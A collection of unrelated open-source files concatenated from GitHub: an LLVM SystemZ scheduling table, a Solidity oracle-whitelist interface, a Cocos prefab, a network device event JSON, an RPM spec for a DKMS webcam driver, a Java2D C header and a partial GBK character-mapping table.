def : InstRW<[WLat11, WLat11, FXU, DFU, GroupAlone], (instregex "CFDTR(A)?$")>;
def : InstRW<[WLat30, WLat30, FXU, DFU, GroupAlone], (instregex "CGDTR(A)?$")>;
def : InstRW<[WLat7, WLat7, FXU, DFU2, GroupAlone], (instregex "CFXTR$")>;
def : InstRW<[WLat30, WLat30, FXU, DFU2, GroupAlone], (instregex "CGXTR(A)?$")>;
def : InstRW<[WLat11, WLat11, FXU, DFU, GroupAlone], (instregex "CL(F|G)DTR$")>;
def : InstRW<[WLat7, WLat7, FXU, DFU2, GroupAlone], (instregex "CL(F|G)XTR$")>;
// Convert from / to signed / unsigned packed
def : InstRW<[WLat5, FXU, DFU, GroupAlone], (instregex "CD(S|U)TR$")>;
def : InstRW<[WLat8, FXU2, DFU4, GroupAlone2], (instregex "CX(S|U)TR$")>;
def : InstRW<[WLat7, FXU, DFU, GroupAlone], (instregex "C(S|U)DTR$")>;
def : InstRW<[WLat12, FXU2, DFU4, GroupAlone2], (instregex "C(S|U)XTR$")>;
// Convert from / to zoned
def : InstRW<[WLat4LSU, LSU, DFU2, GroupAlone], (instregex "CDZT$")>;
def : InstRW<[WLat11LSU, LSU2, DFU4, GroupAlone3], (instregex "CXZT$")>;
def : InstRW<[WLat1, FXU, LSU, DFU2, GroupAlone], (instregex "CZDT$")>;
def : InstRW<[WLat1, FXU, LSU, DFU2, GroupAlone], (instregex "CZXT$")>;
// Perform floating-point operation
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "PFPO$")>;
//===----------------------------------------------------------------------===//
// DFP: Unary arithmetic
//===----------------------------------------------------------------------===//
// Load FP integer
def : InstRW<[WLat8, DFU, NormalGr], (instregex "FIDTR$")>;
def : InstRW<[WLat10, DFU4, GroupAlone], (instregex "FIXTR$")>;
// Extract biased exponent
def : InstRW<[WLat7, FXU, DFU, GroupAlone], (instregex "EEDTR$")>;
def : InstRW<[WLat8, FXU, DFU2, GroupAlone], (instregex "EEXTR$")>;
// Extract significance
def : InstRW<[WLat7, FXU, DFU, GroupAlone], (instregex "ESDTR$")>;
def : InstRW<[WLat8, FXU, DFU2, GroupAlone], (instregex "ESXTR$")>;
//===----------------------------------------------------------------------===//
// DFP: Binary arithmetic
//===----------------------------------------------------------------------===//
// Addition
def : InstRW<[WLat9, WLat9, DFU, NormalGr], (instregex "ADTR(A)?$")>;
def : InstRW<[WLat30, WLat30, DFU4, GroupAlone], (instregex "AXTR(A)?$")>;
// Subtraction
def : InstRW<[WLat9, WLat9, DFU, NormalGr], (instregex "SDTR(A)?$")>;
def : InstRW<[WLat30, WLat30, DFU4, GroupAlone], (instregex "SXTR(A)?$")>;
// Multiply
def : InstRW<[WLat30, DFU, NormalGr], (instregex "MDTR(A)?$")>;
def : InstRW<[WLat30, DFU4, GroupAlone], (instregex "MXTR(A)?$")>;
// Division
def : InstRW<[WLat30, DFU, NormalGr], (instregex "DDTR(A)?$")>;
def : InstRW<[WLat30, DFU4, GroupAlone], (instregex "DXTR(A)?$")>;
// Quantize
def : InstRW<[WLat8, WLat8, DFU, NormalGr], (instregex "QADTR$")>;
def : InstRW<[WLat10, WLat10, DFU4, GroupAlone], (instregex "QAXTR$")>;
// Reround
def : InstRW<[WLat11, WLat11, FXU, DFU, GroupAlone], (instregex "RRDTR$")>;
def : InstRW<[WLat30, WLat30, FXU, DFU4, GroupAlone2], (instregex "RRXTR$")>;
// Shift significand left/right
def : InstRW<[WLat7LSU, LSU, DFU, GroupAlone], (instregex "S(L|R)DT$")>;
def : InstRW<[WLat11LSU, LSU, DFU4, GroupAlone], (instregex "S(L|R)XT$")>;
// Insert biased exponent
def : InstRW<[WLat5, FXU, DFU, GroupAlone], (instregex "IEDTR$")>;
def : InstRW<[WLat7, FXU, DFU4, GroupAlone2], (instregex "IEXTR$")>;
//===----------------------------------------------------------------------===//
// DFP: Comparisons
//===----------------------------------------------------------------------===//
// Compare
def : InstRW<[WLat9, DFU, NormalGr], (instregex "(K|C)DTR$")>;
def : InstRW<[WLat10, DFU2, NormalGr], (instregex "(K|C)XTR$")>;
// Compare biased exponent
def : InstRW<[WLat4, DFU, NormalGr], (instregex "CEDTR$")>;
def : InstRW<[WLat5, DFU2, NormalGr], (instregex "CEXTR$")>;
// Test Data Class/Group
def : InstRW<[WLat9, LSU, DFU, NormalGr], (instregex "TD(C|G)DT$")>;
def : InstRW<[WLat10, LSU, DFU, NormalGr], (instregex "TD(C|G)ET$")>;
def : InstRW<[WLat10, LSU, DFU2, NormalGr], (instregex "TD(C|G)XT$")>;
// -------------------------------- System ---------------------------------- //
//===----------------------------------------------------------------------===//
// System: Program-Status Word Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, WLat30, MCD], (instregex "EPSW$")>;
def : InstRW<[WLat30, MCD], (instregex "LPSW(E)?$")>;
def : InstRW<[WLat3, FXU, GroupAlone], (instregex "IPK$")>;
def : InstRW<[WLat1, LSU, EndGroup], (instregex "SPKA$")>;
def : InstRW<[WLat1, LSU, EndGroup], (instregex "SSM$")>;
def : InstRW<[WLat1, FXU, LSU, GroupAlone], (instregex "ST(N|O)SM$")>;
def : InstRW<[WLat3, FXU, NormalGr], (instregex "IAC$")>;
def : InstRW<[WLat1, LSU, EndGroup], (instregex "SAC(F)?$")>;
//===----------------------------------------------------------------------===//
// System: Control Register Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat10, WLat10, FXU, LSU, NormalGr], (instregex "LCTL(G)?$")>;
def : InstRW<[WLat1, FXU5, LSU5, GroupAlone], (instregex "STCT(L|G)$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "E(P|S)A(I)?R$")>;
def : InstRW<[WLat30, MCD], (instregex "SSA(I)?R$")>;
def : InstRW<[WLat30, MCD], (instregex "ESEA$")>;
//===----------------------------------------------------------------------===//
// System: Prefix-Register Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "S(T)?PX$")>;
//===----------------------------------------------------------------------===//
// System: Storage-Key and Real Memory Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "ISKE$")>;
def : InstRW<[WLat30, MCD], (instregex "IVSK$")>;
def : InstRW<[WLat30, MCD], (instregex "SSKE(Opt)?$")>;
def : InstRW<[WLat30, MCD], (instregex "RRB(E|M)$")>;
def : InstRW<[WLat30, MCD], (instregex "PFMF$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "TB$")>;
def : InstRW<[WLat30, MCD], (instregex "PGIN$")>;
def : InstRW<[WLat30, MCD], (instregex "PGOUT$")>;
//===----------------------------------------------------------------------===//
// System: Dynamic-Address-Translation Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "IPTE(Opt)?(Opt)?$")>;
def : InstRW<[WLat30, MCD], (instregex "IDTE(Opt)?$")>;
def : InstRW<[WLat30, MCD], (instregex "CRDTE(Opt)?$")>;
def : InstRW<[WLat30, MCD], (instregex "PTLB$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "CSP(G)?$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "LPTEA$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "LRA(Y|G)?$")>;
def : InstRW<[WLat30, MCD], (instregex "STRAG$")>;
def : InstRW<[WLat30, MCD], (instregex "LURA(G)?$")>;
def : InstRW<[WLat30, MCD], (instregex "STUR(A|G)$")>;
def : InstRW<[WLat30, MCD], (instregex "TPROT$")>;
//===----------------------------------------------------------------------===//
// System: Memory-move Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "MVC(K|P|S)$")>;
def : InstRW<[WLat30, MCD], (instregex "MVC(S|D)K$")>;
def : InstRW<[WLat30, MCD], (instregex "MVCOS$")>;
def : InstRW<[WLat30, MCD], (instregex "MVPG$")>;
//===----------------------------------------------------------------------===//
// System: Address-Space Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "LASP$")>;
def : InstRW<[WLat1, LSU, GroupAlone], (instregex "PALB$")>;
def : InstRW<[WLat30, MCD], (instregex "PC$")>;
def : InstRW<[WLat30, MCD], (instregex "PR$")>;
def : InstRW<[WLat30, MCD], (instregex "PT(I)?$")>;
def : InstRW<[WLat30, MCD], (instregex "RP$")>;
def : InstRW<[WLat30, MCD], (instregex "BS(G|A)$")>;
def : InstRW<[WLat30, MCD], (instregex "TAR$")>;
//===----------------------------------------------------------------------===//
// System: Linkage-Stack Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "BAKR$")>;
def : InstRW<[WLat30, MCD], (instregex "EREG(G)?$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "(E|M)STA$")>;
//===----------------------------------------------------------------------===//
// System: Time-Related Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "PTFF$")>;
def : InstRW<[WLat30, MCD], (instregex "SCK$")>;
def : InstRW<[WLat30, MCD], (instregex "SCKPF$")>;
def : InstRW<[WLat30, MCD], (instregex "SCKC$")>;
def : InstRW<[WLat30, MCD], (instregex "SPT$")>;
def : InstRW<[WLat9, FXU, LSU2, GroupAlone], (instregex "STCK(F)?$")>;
def : InstRW<[WLat20, LSU4, FXU2, GroupAlone2], (instregex "STCKE$")>;
def : InstRW<[WLat30, MCD], (instregex "STCKC$")>;
def : InstRW<[WLat30, MCD], (instregex "STPT$")>;
//===----------------------------------------------------------------------===//
// System: CPU-Related Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "STAP$")>;
def : InstRW<[WLat30, MCD], (instregex "STIDP$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "STSI$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "STFL(E)?$")>;
def : InstRW<[WLat30, MCD], (instregex "ECAG$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "ECTG$")>;
def : InstRW<[WLat30, MCD], (instregex "PTF$")>;
def : InstRW<[WLat30, MCD], (instregex "PCKMO$")>;
//===----------------------------------------------------------------------===//
// System: Miscellaneous Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "SVC$")>;
def : InstRW<[WLat1, FXU, GroupAlone], (instregex "MC$")>;
def : InstRW<[WLat30, MCD], (instregex "DIAG$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "TRAC(E|G)$")>;
def : InstRW<[WLat30, MCD], (instregex "TRAP(2|4)$")>;
def : InstRW<[WLat30, MCD], (instregex "SIG(P|A)$")>;
def : InstRW<[WLat30, MCD], (instregex "SIE$")>;
//===----------------------------------------------------------------------===//
// System: CPU-Measurement Facility Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LPP$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "ECPGA$")>;
def : InstRW<[WLat30, WLat30, MCD], (instregex "E(C|P)CTR$")>;
def : InstRW<[WLat30, MCD], (instregex "LCCTL$")>;
def : InstRW<[WLat30, MCD], (instregex "L(P|S)CTL$")>;
def : InstRW<[WLat30, MCD], (instregex "Q(S|CTR)I$")>;
def : InstRW<[WLat30, MCD], (instregex "S(C|P)CTR$")>;
//===----------------------------------------------------------------------===//
// System: I/O Instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat30, MCD], (instregex "(C|H|R|X)SCH$")>;
def : InstRW<[WLat30, MCD], (instregex "(M|S|ST|T)SCH$")>;
def : InstRW<[WLat30, MCD], (instregex "RCHP$")>;
def : InstRW<[WLat30, MCD], (instregex "SCHM$")>;
def : InstRW<[WLat30, MCD], (instregex "STC(PS|RW)$")>;
def : InstRW<[WLat30, MCD], (instregex "TPI$")>;
def : InstRW<[WLat30, MCD], (instregex "SAL$")>;
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2019 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.7;
/**
* @title IOracleWhiteList
* @author Set Protocol
*
* The IWhiteList interface exposes the whitelist mapping to check components
*/
interface IOracleWhiteList {
/* ============ External Functions ============ */
/**
* Returns oracle of passed token address (not in array form)
*
* @param _tokenAddress Address to check
* @return bool Whether passed in address is whitelisted
*/
function oracleWhiteList(
address _tokenAddress
)
external
view
returns (address);
/**
* Verifies an array of token addresses against the whitelist
*
* @param _addresses Array of addresses to verify
* @return bool Whether all addresses in the list are whitelsited
*/
function areValidAddresses(
address[] calldata _addresses
)
external
view
returns (bool);
/**
* Return array of oracle addresses based on passed in token addresses
*
* @param _tokenAddresses Array of token addresses to get oracle addresses for
* @return address[] Array of oracle addresses
*/
function getOracleAddressesByToken(
address[] calldata _tokenAddresses
)
external
view
returns (address[] memory);
function getOracleAddressByToken(
address _token
)
external
view
returns (address);
}
| {
"pile_set_name": "Github"
} |
[
{
"__type__": "cc.Prefab",
"_name": "sprite_splash",
"_objFlags": 0,
"data": {
"__id__": 1
}
},
{
"__type__": "cc.Node",
"_name": "New Sprite (Splash)",
"_objFlags": 0,
"_opacity": 255,
"_color": {
"__type__": "cc.Color",
"r": 255,
"g": 255,
"b": 255,
"a": 255
},
"_cascadeOpacityEnabled": true,
"_parent": null,
"_anchorPoint": {
"__type__": "cc.Vec2",
"x": 0.5,
"y": 0.5
},
"_contentSize": {
"__type__": "cc.Size",
"width": 100,
"height": 100
},
"_children": [],
"_rotationX": 0,
"_rotationY": 0,
"_scaleX": 1,
"_scaleY": 1,
"_position": {
"__type__": "cc.Vec2",
"x": 0,
"y": 0
},
"_skewX": 0,
"_skewY": 0,
"_localZOrder": 0,
"_globalZOrder": 0,
"_tag": -1,
"_opacityModifyRGB": false,
"_reorderChildDirty": false,
"_id": "",
"_active": true,
"_components": [
{
"__id__": 2
}
],
"_prefab": {
"__id__": 3
}
},
{
"__type__": "cc.Sprite",
"_name": "",
"_objFlags": 0,
"node": {
"__id__": 1
},
"_enabled": true,
"_spriteFrame": {
"__uuid__": "a23235d1-15db-4b95-8439-a2e005bfff91"
},
"_type": 0,
"_sizeMode": 0,
"_fillType": 0,
"_fillCenter": {
"__type__": "cc.Vec2",
"x": 0,
"y": 0
},
"_fillStart": 0,
"_fillRange": 0,
"_isTrimmedMode": true,
"_srcBlendFactor": 770,
"_dstBlendFactor": 771,
"_atlas": null
},
{
"__type__": "cc.PrefabInfo",
"root": {
"__id__": 1
},
"asset": null,
"fileId": "1a0f4zwu2VOapqEJkWXIF0R"
}
] | {
"pile_set_name": "Github"
} |
{
"event": "removeDevice",
"payload": {
"id": "of:0000ffffffff0008",
"type": "switch",
"online": false,
"master": "myInstA",
"location": {
"type": "lnglat",
"lat": 37.7833,
"lng": -122.4167
},
"labels": [
"",
"sw-8",
"0000ffffffff0008"
],
"metaUi": {
"x": 520,
"y": 350
}
}
}
| {
"pile_set_name": "Github"
} |
# $Id$
# Authority: matthias
# ExclusiveDist: el4
%define date 20061018
%define time 042701
Summary: Driver for Philips USB webcams
Name: dkms-pwc
Version: 10.0.11
Release: 1.%{date}%{?dist}
License: GPL
Group: System Environment/Kernel
URL: http://saillard.org/linux/pwc/
Source: http://saillard.org/linux/pwc/snapshots/pwc-v4l2-%{date}-%{time}.tar.bz2
Patch0: pwc-v4l2-20061018-042701-no-config.h.patch
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
BuildArch: noarch
Requires: gcc
Requires(post): dkms
Requires(preun): dkms
%description
Free Philips USB Webcam driver for Linux that supports VGA resolution,
newer kernels and replaces the old pwcx module.
%prep
%setup -n pwc-v4l2-%{date}-%{time}
%patch0 -p1 -b .no-config.h
%build
%install
%{__rm} -rf %{buildroot}
%define dkms_name pwc
%define dkms_vers %{version}-%{release}
%define quiet -q
# Kernel module sources install for dkms
%{__mkdir_p} %{buildroot}%{_usrsrc}/%{dkms_name}-%{dkms_vers}/
%{__cp} -a * %{buildroot}%{_usrsrc}/%{dkms_name}-%{dkms_vers}/
# Configuration for dkms
%{__cat} > %{buildroot}%{_usrsrc}/%{dkms_name}-%{dkms_vers}/dkms.conf << 'EOF'
PACKAGE_NAME=%{dkms_name}
PACKAGE_VERSION=%{dkms_vers}
BUILT_MODULE_NAME[0]=pwc
DEST_MODULE_LOCATION[0]=/kernel/drivers/media/video/pwc
AUTOINSTALL="YES"
EOF
%clean
%{__rm} -rf %{buildroot}
%post
# Add to DKMS registry
dkms add -m %{dkms_name} -v %{dkms_vers} %{?quiet} || :
# Rebuild and make available for the currenty running kernel
dkms build -m %{dkms_name} -v %{dkms_vers} %{?quiet} || :
dkms install -m %{dkms_name} -v %{dkms_vers} %{?quiet} --force || :
%preun
# Remove all versions from DKMS registry
dkms remove -m %{dkms_name} -v %{dkms_vers} %{?quiet} --all || :
%files
%defattr(-, root, root, 0755)
%{_usrsrc}/%{dkms_name}-%{dkms_vers}/
%changelog
* Thu Oct 19 2006 Matthias Saou <http://freshrpms.net/> 10.0.11-1.20061018
- Initial RPM release.
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2000, 2001, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
#include "GraphicsPrimitiveMgr.h"
#include "LoopMacros.h"
/*
* This file contains macro and type definitions used by the macros in
* LoopMacros.h to manipulate a surface of type "Any3Byte".
*/
typedef jubyte Any3ByteDataType;
#define Any3BytePixelStride 3
#define DeclareAny3ByteLoadVars(PREFIX)
#define DeclareAny3ByteStoreVars(PREFIX)
#define InitAny3ByteLoadVars(PREFIX, pRasInfo)
#define InitAny3ByteStoreVarsY(PREFIX, pRasInfo)
#define InitAny3ByteStoreVarsX(PREFIX, pRasInfo)
#define NextAny3ByteStoreVarsX(PREFIX)
#define NextAny3ByteStoreVarsY(PREFIX)
#define DeclareAny3BytePixelData(PREFIX) \
jubyte PREFIX ## 0, PREFIX ## 1, PREFIX ## 2;
#define ExtractAny3BytePixelData(PIXEL, PREFIX) \
do { \
PREFIX ## 0 = (jubyte) (PIXEL); \
PREFIX ## 1 = (jubyte) (PIXEL >> 8); \
PREFIX ## 2 = (jubyte) (PIXEL >> 16); \
} while (0)
#define StoreAny3BytePixelData(pPix, x, pixel, PREFIX) \
do { \
(pPix)[3*x+0] = PREFIX ## 0; \
(pPix)[3*x+1] = PREFIX ## 1; \
(pPix)[3*x+2] = PREFIX ## 2; \
} while (0)
#define CopyAny3BytePixelData(pSrc, sx, pDst, dx) \
do { \
(pDst)[3*dx+0] = (pSrc)[3*sx+0]; \
(pDst)[3*dx+1] = (pSrc)[3*sx+1]; \
(pDst)[3*dx+2] = (pSrc)[3*sx+2]; \
} while (0)
#define XorCopyAny3BytePixelData(pSrc, pDst, x, xorpixel, XORPREFIX) \
do { \
(pDst)[3*x+0] ^= (pSrc)[3*x+0] ^ XORPREFIX ## 0; \
(pDst)[3*x+1] ^= (pSrc)[3*x+1] ^ XORPREFIX ## 1; \
(pDst)[3*x+2] ^= (pSrc)[3*x+2] ^ XORPREFIX ## 2; \
} while (0)
#define XorAny3BytePixelData(srcpixel, SRCPREFIX, pDst, x, \
xorpixel, XORPREFIX, mask, MASKPREFIX) \
do { \
(pDst)[3*x+0] ^= ((SRCPREFIX ## 0 ^ XORPREFIX ## 0) & \
~MASKPREFIX ## 0); \
(pDst)[3*x+1] ^= ((SRCPREFIX ## 1 ^ XORPREFIX ## 1) & \
~MASKPREFIX ## 1); \
(pDst)[3*x+2] ^= ((SRCPREFIX ## 2 ^ XORPREFIX ## 2) & \
~MASKPREFIX ## 2); \
} while (0)
DECLARE_ISOCOPY_BLIT(Any3Byte);
DECLARE_ISOSCALE_BLIT(Any3Byte);
DECLARE_ISOXOR_BLIT(Any3Byte);
#define REGISTER_ANY3BYTE_ISOCOPY_BLIT(THREEBYTETYPE) \
REGISTER_ISOCOPY_BLIT(THREEBYTETYPE, Any3Byte)
#define REGISTER_ANY3BYTE_ISOSCALE_BLIT(THREEBYTETYPE) \
REGISTER_ISOSCALE_BLIT(THREEBYTETYPE, Any3Byte)
#define REGISTER_ANY3BYTE_ISOXOR_BLIT(THREEBYTETYPE) \
REGISTER_ISOXOR_BLIT(THREEBYTETYPE, Any3Byte)
| {
"pile_set_name": "Github"
} |
[
["0","\u0000",127,"€"],
["8140","丂丄丅丆丏丒丗丟丠両丣並丩丮丯丱丳丵丷丼乀乁乂乄乆乊乑乕乗乚乛乢乣乤乥乧乨乪",5,"乲乴",9,"乿",6,"亇亊"],
["8180","亐亖亗亙亜亝亞亣亪亯亰亱亴亶亷亸亹亼亽亾仈仌仏仐仒仚仛仜仠仢仦仧仩仭仮仯仱仴仸仹仺仼仾伀伂",6,"伋伌伒",4,"伜伝伡伣伨伩伬伭伮伱伳伵伷伹伻伾",4,"佄佅佇",5,"佒佔佖佡佢佦佨佪佫佭佮佱佲併佷佸佹佺佽侀侁侂侅來侇侊侌侎侐侒侓侕侖侘侙侚侜侞侟価侢"],
["8240","侤侫侭侰",4,"侶",8,"俀俁係俆俇俈俉俋俌俍俒",4,"俙俛俠俢俤俥俧俫俬俰俲俴俵俶俷俹俻俼俽俿",11],
["8280","個倎倐們倓倕倖倗倛倝倞倠倢倣値倧倫倯",10,"倻倽倿偀偁偂偄偅偆偉偊偋偍偐",4,"偖偗偘偙偛偝",7,"偦",5,"偭",8,"偸偹偺偼偽傁傂傃傄傆傇傉傊傋傌傎",20,"傤傦傪傫傭",4,"傳",6,"傼"],
["8340","傽",17,"僐",5,"僗僘僙僛",10,"僨僩僪僫僯僰僱僲僴僶",4,"僼",9,"儈"],
["8380","儉儊儌",5,"儓",13,"儢",28,"兂兇兊兌兎兏児兒兓兗兘兙兛兝",4,"兣兤兦內兩兪兯兲兺兾兿冃冄円冇冊冋冎冏冐冑冓冔冘冚冝冞冟冡冣冦",4,"冭冮冴冸冹冺冾冿凁凂凃凅凈凊凍凎凐凒",5],
["8440","凘凙凚凜凞凟凢凣凥",5,"凬凮凱凲凴凷凾刄刅刉刋刌刏刐刓刔刕刜刞刟刡刢刣別刦刧刪刬刯刱刲刴刵刼刾剄",5,"剋剎剏剒剓剕剗剘"],
["8480","剙剚剛剝剟剠剢剣剤剦剨剫剬剭剮剰剱剳",9,"剾劀劃",4,"劉",6,"劑劒劔",6,"劜劤劥劦劧劮劯劰労",9,"勀勁勂勄勅勆勈勊勌勍勎勏勑勓勔動勗務",5,"勠勡勢勣勥",10,"勱",7,"勻勼勽匁匂匃匄匇匉匊匋匌匎"],
["8540","匑匒匓匔匘匛匜匞匟匢匤匥匧匨匩匫匬匭匯",9,"匼匽區卂卄卆卋卌卍卐協単卙卛卝卥卨卪卬卭卲卶卹卻卼卽卾厀厁厃厇厈厊厎厏"],
["8580","厐",4,"厖厗厙厛厜厞厠厡厤厧厪厫厬厭厯",6,"厷厸厹厺厼厽厾叀參",4,"収叏叐叒叓叕叚叜叝叞叡叢叧叴叺叾叿吀吂吅吇吋吔吘吙吚吜吢吤吥吪吰吳吶吷吺吽吿呁呂呄呅呇呉呌呍呎呏呑呚呝",4,"呣呥呧呩",7,"呴呹呺呾呿咁咃咅咇咈咉咊咍咑咓咗咘咜咞咟咠咡"],
["8640","咢咥咮咰咲咵咶咷咹咺咼咾哃哅哊哋哖哘哛哠",4,"哫哬哯哰哱哴",5,"哻哾唀唂唃唄唅唈唊",4,"唒唓唕",5,"唜唝唞唟唡唥唦"],
["8680","唨唩唫唭唲唴唵唶唸唹唺唻唽啀啂啅啇啈啋",4,"啑啒啓啔啗",4,"啝啞啟啠啢啣啨啩啫啯",5,"啹啺啽啿喅喆喌喍喎喐喒喓喕喖喗喚喛喞喠",6,"喨",8,"喲喴営喸喺喼喿",4,"嗆嗇嗈嗊嗋嗎嗏嗐嗕嗗",4,"嗞嗠嗢嗧嗩嗭嗮嗰嗱嗴嗶嗸",4,"嗿嘂嘃嘄嘅"],
["8740","嘆嘇嘊嘋嘍嘐",7,"嘙嘚嘜嘝嘠嘡嘢嘥嘦嘨嘩嘪嘫嘮嘯嘰嘳嘵嘷嘸嘺嘼嘽嘾噀",11,"噏",4,"噕噖噚噛噝",4],
["8780","噣噥噦噧噭噮噯噰噲噳噴噵噷噸噹噺噽",7,"嚇",6,"嚐嚑嚒嚔",14,"嚤",10,"嚰",6,"嚸嚹嚺嚻嚽",12,"囋",8,"囕囖囘囙囜団囥",5,"囬囮囯囲図囶囷囸囻囼圀圁圂圅圇國",6],
["8840","園",9,"圝圞圠圡圢圤圥圦圧圫圱圲圴",4,"圼圽圿坁坃坄坅坆坈坉坋坒",4,"坘坙坢坣坥坧坬坮坰坱坲坴坵坸坹坺坽坾坿垀"],
["8880","垁垇垈垉垊垍",4,"垔",6,"垜垝垞垟垥垨垪垬垯垰垱垳垵垶垷垹",8,"埄",6,"埌埍埐埑埓埖埗埛埜埞埡埢埣埥",7,"埮埰埱埲埳埵埶執埻埼埾埿堁堃堄堅堈堉堊堌堎堏堐堒堓堔堖堗堘堚堛堜堝堟堢堣堥",4,"堫",4,"報堲堳場堶",7],
["8940","堾",5,"塅",6,"塎塏塐塒塓塕塖塗塙",4,"塟",5,"塦",4,"塭",16,"塿墂墄墆墇墈墊墋墌"],
["8980","墍",4,"墔",4,"墛墜墝墠",7,"墪",17,"墽墾墿壀壂壃壄壆",10,"壒壓壔壖",13,"壥",5,"壭壯壱売壴壵壷壸壺",7,"夃夅夆夈",4,"夎夐夑夒夓夗夘夛夝夞夠夡夢夣夦夨夬夰夲夳夵夶夻"],
["8a40","夽夾夿奀奃奅奆奊奌奍奐奒奓奙奛",4,"奡奣奤奦",12,"奵奷奺奻奼奾奿妀妅妉妋妌妎妏妐妑妔妕妘妚妛妜妝妟妠妡妢妦"],
["8a80","妧妬妭妰妱妳",5,"妺妼妽妿",6,"姇姈姉姌姍姎姏姕姖姙姛姞",4,"姤姦姧姩姪姫姭",11,"姺姼姽姾娀娂娊娋娍娎娏娐娒娔娕娖娗娙娚娛娝娞娡娢娤娦娧娨娪",6,"娳娵娷",4,"娽娾娿婁",4,"婇婈婋",9,"婖婗婘婙婛",5],
["8b40","婡婣婤婥婦婨婩婫",8,"婸婹婻婼婽婾媀",17,"媓",6,"媜",13,"媫媬"],
["8b80","媭",4,"媴媶媷媹",4,"媿嫀嫃",5,"嫊嫋嫍",4,"嫓嫕嫗嫙嫚嫛嫝嫞嫟嫢嫤嫥嫧嫨嫪嫬",4,"嫲",22,"嬊",11,"嬘",25,"嬳嬵嬶嬸",7,"孁",6],
["8c40","孈",7,"孒孖孞孠孡孧孨孫孭孮孯孲孴孶孷學孹孻孼孾孿宂宆宊宍宎宐宑宒宔宖実宧宨宩宬宭宮宯宱宲宷宺宻宼寀寁寃寈寉寊寋寍寎寏"],
["8c80","寑寔",8,"寠寢寣實寧審",4,"寯寱",6,"寽対尀専尃尅將專尋尌對導尐尒尓尗尙尛尞尟尠尡尣尦尨尩尪尫尭尮尯尰尲尳尵尶尷屃屄屆屇屌屍屒屓屔屖屗屘屚屛屜屝屟屢層屧",6,"屰屲",6,"屻屼屽屾岀岃",4,"岉岊岋岎岏岒岓岕岝",4,"岤",4],
["8d40","岪岮岯岰岲岴岶岹岺岻岼岾峀峂峃峅",5,"峌",5,"峓",5,"峚",6,"峢峣峧峩峫峬峮峯峱",9,"峼",4],
["8d80","崁崄崅崈",5,"崏",4,"崕崗崘崙崚崜崝崟",4,"崥崨崪崫崬崯",4,"崵",7,"崿",7,"嵈嵉嵍",10,"嵙嵚嵜嵞",10,"嵪嵭嵮嵰嵱嵲嵳嵵",12,"嶃",21,"嶚嶛嶜嶞嶟嶠"],
["8e40","嶡",21,"嶸",12,"巆",6,"巎",12,"巜巟巠巣巤巪巬巭"],
["8e80","巰巵巶巸",4,"巿帀帄帇帉帊帋帍帎帒帓帗帞",7,"帨",4,"帯帰帲",4,"帹帺帾帿幀幁幃幆",5,"幍",6,"幖",4,"幜幝幟幠幣",14,"幵幷幹幾庁庂広庅庈庉庌庍庎庒庘庛庝庡庢庣庤庨",4,"庮",4,"庴庺庻庼庽庿",6],
["8f40","廆廇廈廋",5,"廔廕廗廘廙廚廜",11,"廩廫",8,"廵廸廹廻廼廽弅弆弇弉弌弍弎弐弒弔弖弙弚弜弝弞弡弢弣弤"],
